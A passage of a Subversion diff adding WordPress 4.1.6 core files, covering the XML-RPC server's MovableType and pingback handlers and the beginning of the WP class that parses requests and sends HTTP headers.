+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.setPostCategories' );
+
+		if ( ! get_post( $post_ID ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you cannot edit this post.'));
+
+		$catids = array();
+		foreach ( $categories as $cat ) {
+			$catids[] = $cat['categoryId'];
+		}
+
+		wp_set_post_categories($post_ID, $catids);
+
+		return true;
+	}
+
+	/**
+	 * Retrieve an array of methods supported by this server.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array
+	 */
+	public function mt_supportedMethods($args) {
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.supportedMethods' );
+
+		$supported_methods = array();
+		foreach ( $this->methods as $key => $value ) {
+			$supported_methods[] = $key;
+		}
+
+		return $supported_methods;
+	}
+
+	/**
+	 * Retrieve an empty array because we don't support per-post text filters.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 */
+	public function mt_supportedTextFilters($args) {
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.supportedTextFilters' );
+
+		/**
+		 * Filter the MoveableType text filters list for XML-RPC.
+		 *
+		 * @since 2.2.0
+		 *
+		 * @param array $filters An array of text filters.
+		 */
+		return apply_filters( 'xmlrpc_text_filters', array() );
+	}
+
+	/**
+	 * Retrieve trackbacks sent to a given post.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function mt_getTrackbackPings($args) {
+
+		global $wpdb;
+
+		$post_ID = intval($args);
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.getTrackbackPings' );
+
+		$actual_post = get_post($post_ID, ARRAY_A);
+
+		if ( !$actual_post )
+			return new IXR_Error(404, __('Sorry, no such post.'));
+
+		$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+
+		if ( !$comments )
+			return array();
+
+		$trackback_pings = array();
+		foreach ( $comments as $comment ) {
+			if ( 'trackback' == $comment->comment_type ) {
+				$content = $comment->comment_content;
+				$title = substr($content, 8, (strpos($content, '</strong>') - 8));
+				$trackback_pings[] = array(
+					'pingTitle' => $title,
+					'pingURL'   => $comment->comment_author_url,
+					'pingIP'    => $comment->comment_author_IP
+				);
+			}
+		}
+
+		return $trackback_pings;
+	}
+
+	/**
+	 * Sets a post's publish status to 'publish'.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return int|IXR_Error
+	 */
+	public function mt_publishPost($args) {
+
+		$this->escape($args);
+
+		$post_ID     = (int) $args[0];
+		$username  = $args[1];
+		$password   = $args[2];
+
+		if ( !$user = $this->login($username, $password) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'mt.publishPost' );
+
+		$postdata = get_post($post_ID, ARRAY_A);
+		if ( ! $postdata )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( !current_user_can('publish_posts') || !current_user_can('edit_post', $post_ID) )
+			return new IXR_Error(401, __('Sorry, you cannot publish this post.'));
+
+		$postdata['post_status'] = 'publish';
+
+		// retain old cats
+		$cats = wp_get_post_categories($post_ID);
+		$postdata['post_category'] = $cats;
+		$this->escape($postdata);
+
+		$result = wp_update_post($postdata);
+
+		return $result;
+	}
+
+	/* PingBack functions
+	 * specs on www.hixie.ch/specs/pingback/pingback
+	 */
+
+	/**
+	 * Retrieves a pingback and registers it.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return string|IXR_Error
+	 */
+	public function pingback_ping($args) {
+		global $wpdb;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'pingback.ping' );
+
+		$this->escape($args);
+
+		$pagelinkedfrom = $args[0];
+		$pagelinkedto   = $args[1];
+
+		$title = '';
+
+		$pagelinkedfrom = str_replace('&amp;', '&', $pagelinkedfrom);
+		$pagelinkedto = str_replace('&amp;', '&', $pagelinkedto);
+		$pagelinkedto = str_replace('&', '&amp;', $pagelinkedto);
+
+		/**
+		 * Filter the pingback source URI.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param string $pagelinkedfrom URI of the page linked from.
+		 * @param string $pagelinkedto   URI of the page linked to.
+		 */
+		$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );
+
+		if ( ! $pagelinkedfrom )
+			return $this->pingback_error( 0, __( 'A valid URL was not provided.' ) );
+
+		// Check if the page linked to is in our site
+		$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
+		if ( !$pos1 )
+			return $this->pingback_error( 0, __( 'Is there no link to us?' ) );
+
+		// let's find which post is linked to
+		// FIXME: does url_to_postid() cover all these cases already?
+		//        if so, then let's use it and drop the old code.
+		$urltest = parse_url($pagelinkedto);
+		if ( $post_ID = url_to_postid($pagelinkedto) ) {
+			// $way
+		} elseif ( isset( $urltest['path'] ) && preg_match('#p/[0-9]{1,}#', $urltest['path'], $match) ) {
+			// the path defines the post_ID (archives/p/XXXX)
+			$blah = explode('/', $match[0]);
+			$post_ID = (int) $blah[1];
+		} elseif ( isset( $urltest['query'] ) && preg_match('#p=[0-9]{1,}#', $urltest['query'], $match) ) {
+			// the querystring defines the post_ID (?p=XXXX)
+			$blah = explode('=', $match[0]);
+			$post_ID = (int) $blah[1];
+		} elseif ( isset($urltest['fragment']) ) {
+			// an #anchor is there, it's either...
+			if ( intval($urltest['fragment']) ) {
+				// ...an integer #XXXX (simplest case)
+				$post_ID = (int) $urltest['fragment'];
+			} elseif ( preg_match('/post-[0-9]+/',$urltest['fragment']) ) {
+				// ...a post id in the form 'post-###'
+				$post_ID = preg_replace('/[^0-9]+/', '', $urltest['fragment']);
+			} elseif ( is_string($urltest['fragment']) ) {
+				// ...or a string #title, a little more complicated
+				$title = preg_replace('/[^a-z0-9]/i', '.', $urltest['fragment']);
+				$sql = $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title );
+				if (! ($post_ID = $wpdb->get_var($sql)) ) {
+					// returning unknown error '0' is better than die()ing
+			  		return $this->pingback_error( 0, '' );
+				}
+			}
+		} else {
+			// TODO: Attempt to extract a post ID from the given URL
+	  		return $this->pingback_error( 33, __('The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+		}
+		$post_ID = (int) $post_ID;
+
+		$post = get_post($post_ID);
+
+		if ( !$post ) // Post_ID not found
+	  		return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+
+		if ( $post_ID == url_to_postid($pagelinkedfrom) )
+			return $this->pingback_error( 0, __( 'The source URL and the target URL cannot both point to the same resource.' ) );
+
+		// Check if pings are on
+		if ( !pings_open($post) )
+	  		return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+
+		// Let's check that the remote site didn't already pingback this entry
+		if ( $wpdb->get_results( $wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $post_ID, $pagelinkedfrom) ) )
+			return $this->pingback_error( 48, __( 'The pingback has already been registered.' ) );
+
+		// very stupid, but gives time to the 'from' server to publish !
+		sleep(1);
+
+		$remote_ip = preg_replace( '/[^0-9a-fA-F:., ]/', '', $_SERVER['REMOTE_ADDR'] );
+
+		/** This filter is documented in wp-includes/class-http.php */
+		$user_agent = apply_filters( 'http_headers_useragent', 'WordPress/' . $GLOBALS['wp_version'] . '; ' . get_bloginfo( 'url' ) );
+
+		// Let's check the remote site
+		$http_api_args = array(
+			'timeout' => 10,
+			'redirection' => 0,
+			'limit_response_size' => 153600, // 150 KB
+			'user-agent' => "$user_agent; verifying pingback from $remote_ip",
+			'headers' => array(
+				'X-Pingback-Forwarded-For' => $remote_ip,
+			),
+		);
+		$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
+		$linea = wp_remote_retrieve_body( $request );
+
+		if ( !$linea )
+			return $this->pingback_error( 16, __( 'The source URL does not exist.' ) );
+
+		/**
+		 * Filter the pingback remote source.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param string $linea        Response object for the page linked from.
+		 * @param string $pagelinkedto URL of the page linked to.
+		 */
+		$linea = apply_filters( 'pre_remote_source', $linea, $pagelinkedto );
+
+		// Work around bug in strip_tags():
+		$linea = str_replace('<!DOC', '<DOC', $linea);
+		$linea = preg_replace( '/[\r\n\t ]+/', ' ', $linea ); // normalize spaces
+		$linea = preg_replace( "/<\/*(h1|h2|h3|h4|h5|h6|p|th|td|li|dt|dd|pre|caption|input|textarea|button|body)[^>]*>/", "\n\n", $linea );
+
+		preg_match('|<title>([^<]*?)</title>|is', $linea, $matchtitle);
+		$title = $matchtitle[1];
+		if ( empty( $title ) )
+			return $this->pingback_error( 32, __('We cannot find a title on that page.' ) );
+
+		$linea = strip_tags( $linea, '<a>' ); // just keep the tag we need
+
+		$p = explode( "\n\n", $linea );
+
+		$preg_target = preg_quote($pagelinkedto, '|');
+
+		foreach ( $p as $para ) {
+			if ( strpos($para, $pagelinkedto) !== false ) { // it exists, but is it a link?
+				preg_match("|<a[^>]+?".$preg_target."[^>]*>([^>]+?)</a>|", $para, $context);
+
+				// If the URL isn't in a link context, keep looking
+				if ( empty($context) )
+					continue;
+
+				// We're going to use this fake tag to mark the context in a bit
+				// the marker is needed in case the link text appears more than once in the paragraph
+				$excerpt = preg_replace('|\</?wpcontext\>|', '', $para);
+
+				// prevent really long link text
+				if ( strlen($context[1]) > 100 )
+					$context[1] = substr($context[1], 0, 100) . '&#8230;';
+
+				$marker = '<wpcontext>'.$context[1].'</wpcontext>';    // set up our marker
+				$excerpt= str_replace($context[0], $marker, $excerpt); // swap out the link for our marker
+				$excerpt = strip_tags($excerpt, '<wpcontext>');        // strip all tags but our context marker
+				$excerpt = trim($excerpt);
+				$preg_marker = preg_quote($marker, '|');
+				$excerpt = preg_replace("|.*?\s(.{0,100}$preg_marker.{0,100})\s.*|s", '$1', $excerpt);
+				$excerpt = strip_tags($excerpt); // YES, again, to remove the marker wrapper
+				break;
+			}
+		}
+
+		if ( empty($context) ) // Link to target not found
+			return $this->pingback_error( 17, __( 'The source URL does not contain a link to the target URL, and so cannot be used as a source.' ) );
+
+		$pagelinkedfrom = str_replace('&', '&amp;', $pagelinkedfrom);
+
+		$context = '[&#8230;] ' . esc_html( $excerpt ) . ' [&#8230;]';
+		$pagelinkedfrom = $this->escape( $pagelinkedfrom );
+
+		$comment_post_ID = (int) $post_ID;
+		$comment_author = $title;
+		$comment_author_email = '';
+		$this->escape($comment_author);
+		$comment_author_url = $pagelinkedfrom;
+		$comment_content = $context;
+		$this->escape($comment_content);
+		$comment_type = 'pingback';
+
+		$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_url', 'comment_author_email', 'comment_content', 'comment_type');
+
+		$comment_ID = wp_new_comment($commentdata);
+
+		/**
+		 * Fires after a post pingback has been sent.
+		 *
+		 * @since 0.71
+		 *
+		 * @param int $comment_ID Comment ID.
+		 */
+		do_action( 'pingback_post', $comment_ID );
+
+		return sprintf(__('Pingback from %1$s to %2$s registered. Keep the web talking! :-)'), $pagelinkedfrom, $pagelinkedto);
+	}
+
+	/**
+	 * Retrieve array of URLs that pingbacked the given URL.
+	 *
+	 * Specs on http://www.aquarionics.com/misc/archives/blogite/0198.html
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param array $args Method parameters.
+	 * @return array|IXR_Error
+	 */
+	public function pingback_extensions_getPingbacks($args) {
+
+		global $wpdb;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'pingback.extensions.getPingbacks' );
+
+		$this->escape($args);
+
+		$url = $args;
+
+		$post_ID = url_to_postid($url);
+		if ( !$post_ID ) {
+			// We aren't sure that the resource is available and/or pingback enabled
+	  		return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either doesn&#8217;t exist, or it is not a pingback-enabled resource.' ) );
+		}
+
+		$actual_post = get_post($post_ID, ARRAY_A);
+
+		if ( !$actual_post ) {
+			// No such post = resource not found
+	  		return $this->pingback_error( 32, __('The specified target URL does not exist.' ) );
+		}
+
+		$comments = $wpdb->get_results( $wpdb->prepare("SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_ID) );
+
+		if ( !$comments )
+			return array();
+
+		$pingbacks = array();
+		foreach ( $comments as $comment ) {
+			if ( 'pingback' == $comment->comment_type )
+				$pingbacks[] = $comment->comment_author_url;
+		}
+
+		return $pingbacks;
+	}
+
+	/**
+	 * @param integer $code
+	 * @param string $message
+	 */
+	protected function pingback_error( $code, $message ) {
+		/**
+		 * Filter the XML-RPC pingback error return.
+		 *
+		 * @since 3.5.1
+		 *
+		 * @param IXR_Error $error An IXR_Error object containing the error code and message.
+		 */
+		return apply_filters( 'xmlrpc_pingback_error', new IXR_Error( $code, $message ) );
+	}
+}
Index: /tags/4.1.6/src/wp-includes/class-wp.php
===================================================================
--- /tags/4.1.6/src/wp-includes/class-wp.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/class-wp.php	(revision 33402)
@@ -0,0 +1,781 @@
+<?php
+/**
+ * WordPress environment setup class.
+ *
+ * @package WordPress
+ * @since 2.0.0
+ */
+class WP {
+	/**
+	 * Public query variables.
+	 *
+	 * Long list of public query variables.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var array
+	 */
+	public $public_query_vars = array('m', 'p', 'posts', 'w', 'cat', 'withcomments', 'withoutcomments', 's', 'search', 'exact', 'sentence', 'calendar', 'page', 'paged', 'more', 'tb', 'pb', 'author', 'order', 'orderby', 'year', 'monthnum', 'day', 'hour', 'minute', 'second', 'name', 'category_name', 'tag', 'feed', 'author_name', 'static', 'pagename', 'page_id', 'error', 'comments_popup', 'attachment', 'attachment_id', 'subpost', 'subpost_id', 'preview', 'robots', 'taxonomy', 'term', 'cpage', 'post_type');
+
+	/**
+	 * Private query variables.
+	 *
+	 * Long list of private query variables.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $private_query_vars = array( 'offset', 'posts_per_page', 'posts_per_archive_page', 'showposts', 'nopaging', 'post_type', 'post_status', 'category__in', 'category__not_in', 'category__and', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'tag_id', 'post_mime_type', 'perm', 'comments_per_page', 'post__in', 'post__not_in', 'post_parent', 'post_parent__in', 'post_parent__not_in' );
+
+	/**
+	 * Extra query variables set by the user.
+	 *
+	 * @since 2.1.0
+	 * @var array
+	 */
+	public $extra_query_vars = array();
+
+	/**
+	 * Query variables for setting up the WordPress Query Loop.
+	 *
+	 * @since 2.0.0
+	 * @var array
+	 */
+	public $query_vars;
+
+	/**
+	 * String parsed to set the query variables.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $query_string;
+
+	/**
+	 * Permalink or requested URI.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * Rewrite rule the request matched.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $matched_rule;
+
+	/**
+	 * Rewrite query the request matched.
+	 *
+	 * @since 2.0.0
+	 * @var string
+	 */
+	public $matched_query;
+
+	/**
+	 * Whether already did the permalink.
+	 *
+	 * @since 2.0.0
+	 * @var bool
+	 */
+	public $did_permalink = false;
+
+	/**
+	 * Add name to list of public query variables.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $qv Query variable name.
+	 */
+	public function add_query_var($qv) {
+		if ( !in_array($qv, $this->public_query_vars) )
+			$this->public_query_vars[] = $qv;
+	}
+
+	/**
+	 * Set the value of a query variable.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $key Query variable name.
+	 * @param mixed $value Query variable value.
+	 */
+	public function set_query_var($key, $value) {
+		$this->query_vars[$key] = $value;
+	}
+
+	/**
+	 * Parse request to find correct WordPress query.
+	 *
+	 * Sets up the query variables based on the request. There are also many
+	 * filters and actions that can be used to further manipulate the result.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @param array|string $extra_query_vars Set the extra query variables.
+	 */
+	public function parse_request($extra_query_vars = '') {
+		global $wp_rewrite;
+
+		/**
+		 * Filter whether to parse the request.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param bool         $bool             Whether or not to parse the request. Default true.
+		 * @param WP           $this             Current WordPress environment instance.
+		 * @param array|string $extra_query_vars Extra passed query variables.
+		 */
+		if ( ! apply_filters( 'do_parse_request', true, $this, $extra_query_vars ) )
+			return;
+
+		$this->query_vars = array();
+		$post_type_query_vars = array();
+
+		if ( is_array($extra_query_vars) )
+			$this->extra_query_vars = & $extra_query_vars;
+		else if (! empty($extra_query_vars))
+			parse_str($extra_query_vars, $this->extra_query_vars);
+
+		// Process PATH_INFO, REQUEST_URI, and 404 for permalinks.
+
+		// Fetch the rewrite rules.
+		$rewrite = $wp_rewrite->wp_rewrite_rules();
+
+		if ( ! empty($rewrite) ) {
+			// If we match a rewrite rule, this will be cleared.
+			$error = '404';
+			$this->did_permalink = true;
+
+			$pathinfo = isset( $_SERVER['PATH_INFO'] ) ? $_SERVER['PATH_INFO'] : '';
+			list( $pathinfo ) = explode( '?', $pathinfo );
+			$pathinfo = str_replace( "%", "%25", $pathinfo );
+
+			list( $req_uri ) = explode( '?', $_SERVER['REQUEST_URI'] );
+			$self = $_SERVER['PHP_SELF'];
+			$home_path = trim( parse_url( home_url(), PHP_URL_PATH ), '/' );
+
+			// Trim path info from the end and the leading home path from the
+			// front. For path info requests, this leaves us with the requesting
+			// filename, if any. For 404 requests, this leaves us with the
+			// requested permalink.
+			$req_uri = str_replace($pathinfo, '', $req_uri);
+			$req_uri = trim($req_uri, '/');
+			$req_uri = preg_replace("|^$home_path|i", '', $req_uri);
+			$req_uri = trim($req_uri, '/');
+			$pathinfo = trim($pathinfo, '/');
+			$pathinfo = preg_replace("|^$home_path|i", '', $pathinfo);
+			$pathinfo = trim($pathinfo, '/');
+			$self = trim($self, '/');
+			$self = preg_replace("|^$home_path|i", '', $self);
+			$self = trim($self, '/');
+
+			// The requested permalink is in $pathinfo for path info requests and
+			//  $req_uri for other requests.
+			if ( ! empty($pathinfo) && !preg_match('|^.*' . $wp_rewrite->index . '$|', $pathinfo) ) {
+				$request = $pathinfo;
+			} else {
+				// If the request uri is the index, blank it out so that we don't try to match it against a rule.
+				if ( $req_uri == $wp_rewrite->index )
+					$req_uri = '';
+				$request = $req_uri;
+			}
+
+			$this->request = $request;
+
+			// Look for matches.
+			$request_match = $request;
+			if ( empty( $request_match ) ) {
+				// An empty request could only match against ^$ regex
+				if ( isset( $rewrite['$'] ) ) {
+					$this->matched_rule = '$';
+					$query = $rewrite['$'];
+					$matches = array('');
+				}
+			} else {
+				foreach ( (array) $rewrite as $match => $query ) {
+					// If the requesting file is the anchor of the match, prepend it to the path info.
+					if ( ! empty($req_uri) && strpos($match, $req_uri) === 0 && $req_uri != $request )
+						$request_match = $req_uri . '/' . $request;
+
+					if ( preg_match("#^$match#", $request_match, $matches) ||
+						preg_match("#^$match#", urldecode($request_match), $matches) ) {
+
+						if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) {
+							// This is a verbose page match, let's check to be sure about it.
+							if ( ! get_page_by_path( $matches[ $varmatch[1] ] ) )
+						 		continue;
+						}
+
+						// Got a match.
+						$this->matched_rule = $match;
+						break;
+					}
+				}
+			}
+
+			if ( isset( $this->matched_rule ) ) {
+				// Trim the query of everything up to the '?'.
+				$query = preg_replace("!^.+\?!", '', $query);
+
+				// Substitute the substring matches into the query.
+				$query = addslashes(WP_MatchesMapRegex::apply($query, $matches));
+
+				$this->matched_query = $query;
+
+				// Parse the query.
+				parse_str($query, $perma_query_vars);
+
+				// If we're processing a 404 request, clear the error var since we found something.
+				if ( '404' == $error )
+					unset( $error, $_GET['error'] );
+			}
+
+			// If req_uri is empty or if it is a request for ourself, unset error.
+			if ( empty($request) || $req_uri == $self || strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false ) {
+				unset( $error, $_GET['error'] );
+
+				if ( isset($perma_query_vars) && strpos($_SERVER['PHP_SELF'], 'wp-admin/') !== false )
+					unset( $perma_query_vars );
+
+				$this->did_permalink = false;
+			}
+		}
+
+		/**
+		 * Filter the query variables whitelist before processing.
+		 *
+		 * Allows (publicly allowed) query vars to be added, removed, or changed prior
+		 * to executing the query. Needed to allow custom rewrite rules using your own arguments
+		 * to work, or any other custom query variables you want to be publicly available.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param array $public_query_vars The array of whitelisted query variables.
+		 */
+		$this->public_query_vars = apply_filters( 'query_vars', $this->public_query_vars );
+
+		foreach ( get_post_types( array(), 'objects' ) as $post_type => $t )
+			if ( $t->query_var )
+				$post_type_query_vars[$t->query_var] = $post_type;
+
+		foreach ( $this->public_query_vars as $wpvar ) {
+			if ( isset( $this->extra_query_vars[$wpvar] ) )
+				$this->query_vars[$wpvar] = $this->extra_query_vars[$wpvar];
+			elseif ( isset( $_POST[$wpvar] ) )
+				$this->query_vars[$wpvar] = $_POST[$wpvar];
+			elseif ( isset( $_GET[$wpvar] ) )
+				$this->query_vars[$wpvar] = $_GET[$wpvar];
+			elseif ( isset( $perma_query_vars[$wpvar] ) )
+				$this->query_vars[$wpvar] = $perma_query_vars[$wpvar];
+
+			if ( !empty( $this->query_vars[$wpvar] ) ) {
+				if ( ! is_array( $this->query_vars[$wpvar] ) ) {
+					$this->query_vars[$wpvar] = (string) $this->query_vars[$wpvar];
+				} else {
+					foreach ( $this->query_vars[$wpvar] as $vkey => $v ) {
+						if ( !is_object( $v ) ) {
+							$this->query_vars[$wpvar][$vkey] = (string) $v;
+						}
+					}
+				}
+
+				if ( isset($post_type_query_vars[$wpvar] ) ) {
+					$this->query_vars['post_type'] = $post_type_query_vars[$wpvar];
+					$this->query_vars['name'] = $this->query_vars[$wpvar];
+				}
+			}
+		}
+
+		// Convert urldecoded spaces back into +
+		foreach ( get_taxonomies( array() , 'objects' ) as $taxonomy => $t )
+			if ( $t->query_var && isset( $this->query_vars[$t->query_var] ) )
+				$this->query_vars[$t->query_var] = str_replace( ' ', '+', $this->query_vars[$t->query_var] );
+
+		// Limit publicly queried post_types to those that are publicly_queryable
+		if ( isset( $this->query_vars['post_type']) ) {
+			$queryable_post_types = get_post_types( array('publicly_queryable' => true) );
+			if ( ! is_array( $this->query_vars['post_type'] ) ) {
+				if ( ! in_array( $this->query_vars['post_type'], $queryable_post_types ) )
+					unset( $this->query_vars['post_type'] );
+			} else {
+				$this->query_vars['post_type'] = array_intersect( $this->query_vars['post_type'], $queryable_post_types );
+			}
+		}
+
+		foreach ( (array) $this->private_query_vars as $var) {
+			if ( isset($this->extra_query_vars[$var]) )
+				$this->query_vars[$var] = $this->extra_query_vars[$var];
+		}
+
+		if ( isset($error) )
+			$this->query_vars['error'] = $error;
+
+		/**
+		 * Filter the array of parsed query variables.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param array $query_vars The array of requested query variables.
+		 */
+		$this->query_vars = apply_filters( 'request', $this->query_vars );
+
+		/**
+		 * Fires once all query variables for the current request have been parsed.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param WP &$this Current WordPress environment instance (passed by reference).
+		 */
+		do_action_ref_array( 'parse_request', array( &$this ) );
+	}
+
+	/**
+	 * Send additional HTTP headers for caching, content type, etc.
+	 *
+	 * Sets the X-Pingback header, 404 status (if 404), Content-type. If showing
+	 * a feed, it will also send last-modified, etag, and 304 status if needed.
+	 *
+	 * @since 2.0.0
+	 */
+	public function send_headers() {
+		$headers = array('X-Pingback' => get_bloginfo('pingback_url'));
+		$status = null;
+		$exit_required = false;
+
+		if ( is_user_logged_in() )
+			$headers = array_merge($headers, wp_get_nocache_headers());
+		if ( ! empty( $this->query_vars['error'] ) ) {
+			$status = (int) $this->query_vars['error'];
+			if ( 404 === $status ) {
+				if ( ! is_user_logged_in() )
+					$headers = array_merge($headers, wp_get_nocache_headers());
+				$headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset');
+			} elseif ( in_array( $status, array( 403, 500, 502, 503 ) ) ) {
+				$exit_required = true;
+			}
+		} else if ( empty($this->query_vars['feed']) ) {
+			$headers['Content-Type'] = get_option('html_type') . '; charset=' . get_option('blog_charset');
+		} else {
+			// We're showing a feed, so WP is indeed the only thing that last changed
+			if ( !empty($this->query_vars['withcomments'])
+				|| false !== strpos( $this->query_vars['feed'], 'comments-' )
+				|| ( empty($this->query_vars['withoutcomments'])
+					&& ( !empty($this->query_vars['p'])
+						|| !empty($this->query_vars['name'])
+						|| !empty($this->query_vars['page_id'])
+						|| !empty($this->query_vars['pagename'])
+						|| !empty($this->query_vars['attachment'])
+						|| !empty($this->query_vars['attachment_id'])
+					)
+				)
+			)
+				$wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastcommentmodified('GMT'), 0).' GMT';
+			else
+				$wp_last_modified = mysql2date('D, d M Y H:i:s', get_lastpostmodified('GMT'), 0).' GMT';
+			$wp_etag = '"' . md5($wp_last_modified) . '"';
+			$headers['Last-Modified'] = $wp_last_modified;
+			$headers['ETag'] = $wp_etag;
+
+			// Support for Conditional GET
+			if (isset($_SERVER['HTTP_IF_NONE_MATCH']))
+				$client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] );
+			else $client_etag = false;
+
+			$client_last_modified = empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? '' : trim($_SERVER['HTTP_IF_MODIFIED_SINCE']);
+			// If string is empty, return 0. If not, attempt to parse into a timestamp
+			$client_modified_timestamp = $client_last_modified ? strtotime($client_last_modified) : 0;
+
+			// Make a timestamp for our most recent modification...
+			$wp_modified_timestamp = strtotime($wp_last_modified);
+
+			if ( ($client_last_modified && $client_etag) ?
+					 (($client_modified_timestamp >= $wp_modified_timestamp) && ($client_etag == $wp_etag)) :
+					 (($client_modified_timestamp >= $wp_modified_timestamp) || ($client_etag == $wp_etag)) ) {
+				$status = 304;
+				$exit_required = true;
+			}
+		}
+
+		/**
+		 * Filter the HTTP headers before they're sent to the browser.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array $headers The list of headers to be sent.
+		 * @param WP    $this    Current WordPress environment instance.
+		 */
+		$headers = apply_filters( 'wp_headers', $headers, $this );
+
+		if ( ! empty( $status ) )
+			status_header( $status );
+
+		// If Last-Modified is set to false, it should not be sent (no-cache situation).
+		if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) {
+			unset( $headers['Last-Modified'] );
+
+			// In PHP 5.3+, make sure we are not sending a Last-Modified header.
+			if ( function_exists( 'header_remove' ) ) {
+				@header_remove( 'Last-Modified' );
+			} else {
+				// In PHP 5.2, send an empty Last-Modified header, but only as a
+				// last resort to override a header already sent. #WP23021
+				foreach ( headers_list() as $header ) {
+					if ( 0 === stripos( $header, 'Last-Modified' ) ) {
+						$headers['Last-Modified'] = '';
+						break;
+					}
+				}
+			}
+		}
+
+		foreach( (array) $headers as $name => $field_value )
+			@header("{$name}: {$field_value}");
+
+		if ( $exit_required )
+			exit();
+
+		/**
+		 * Fires once the requested HTTP headers for caching, content type, etc. have been sent.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param WP &$this Current WordPress environment instance (passed by reference).
+		 */
+		do_action_ref_array( 'send_headers', array( &$this ) );
+	}
+
+	/**
+	 * Sets the query string property based off of the query variable property.
+	 *
+	 * The 'query_string' filter is deprecated, but still works. Plugins should
+	 * use the 'request' filter instead.
+	 *
+	 * @since 2.0.0
+	 */
+	public function build_query_string() {
+		$this->query_string = '';
+		foreach ( (array) array_keys($this->query_vars) as $wpvar) {
+			if ( '' != $this->query_vars[$wpvar] ) {
+				$this->query_string .= (strlen($this->query_string) < 1) ? '' : '&';
+				if ( !is_scalar($this->query_vars[$wpvar]) ) // Discard non-scalars.
+					continue;
+				$this->query_string .= $wpvar . '=' . rawurlencode($this->query_vars[$wpvar]);
+			}
+		}
+
+		if ( has_filter( 'query_string' ) ) {  // Don't bother filtering and parsing if no plugins are hooked in.
+			/**
+			 * Filter the query string before parsing.
+			 *
+			 * @since 1.5.0
+			 * @deprecated 2.1.0 Use 'query_vars' or 'request' filters instead.
+			 *
+			 * @param string $query_string The query string to modify.
+			 */
+			$this->query_string = apply_filters( 'query_string', $this->query_string );
+			parse_str($this->query_string, $this->query_vars);
+		}
+	}
+
+	/**
+	 * Set up the WordPress Globals.
+	 *
+	 * The query_vars property will be extracted to the GLOBALS. So care should
+	 * be taken when naming global variables that might interfere with the
+	 * WordPress environment.
+	 *
+	 * @global string $query_string Query string for the loop.
+	 * @global array $posts The found posts.
+	 * @global WP_Post|null $post The current post, if available.
+	 * @global string $request The SQL statement for the request.
+	 * @global int $more Only set, if single page or post.
+	 * @global int $single If single page or post. Only set, if single page or post.
+	 * @global WP_User $authordata Only set, if author archive.
+	 *
+	 * @since 2.0.0
+	 */
+	public function register_globals() {
+		global $wp_query;
+
+		// Extract updated query vars back into global namespace.
